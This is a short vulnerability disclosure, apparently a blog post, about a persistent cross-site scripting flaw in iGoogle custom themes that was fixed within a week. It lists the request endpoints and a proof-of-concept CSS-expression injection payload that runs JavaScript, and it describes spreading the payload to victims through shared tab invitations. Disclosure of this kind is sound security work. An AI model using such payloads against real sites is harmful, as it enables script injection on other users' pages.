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Hacking Google – Part 2

Vulnerability: Cross Site Scripting

Affects: Any browser that supports javascript to be executed from CSS. IE6, IE7, and the latest version of Opera were tested.

iGoogle (http://www.google.com/ig) was vulnerable to persistent XSS via CSS injection on a custom theme.

Authentication Status: both unauth and auth


URL used in attack


POST /ig/skin_submit_xhr?tmprivacy=1&et=4cdb0f0bQKHcNSc5&referrer=tm HTTP/1.1


How it’s reflected on the page:

When the iGoogle page is loaded, if theme (which is attached to a tab) is selected, it will trigger instantly.
If the tab is not selected, if a user selects the tab, it will then trigger.

GET /ig/skin_xml_to_css?hl=en&gl=us&v2=1&url=http://www.google.com/ig/tm%3Foutput%3Dxml%26te%3DFYvZBahVsoU&skindx=ix:0&fp=lUTDcevwYRs HTTP/1.1

-o-link-source:current}@import 'data:,*{x:expression(alert(document.domain))}';/*') no-repeat top center;}/* google logo */....

The Danger

A user can share a tab with other users via invitation. If the victim accepts the tab invitation, then the theme with the attached malicious CSS will be added to their page.


This issue was resolved in about a week.

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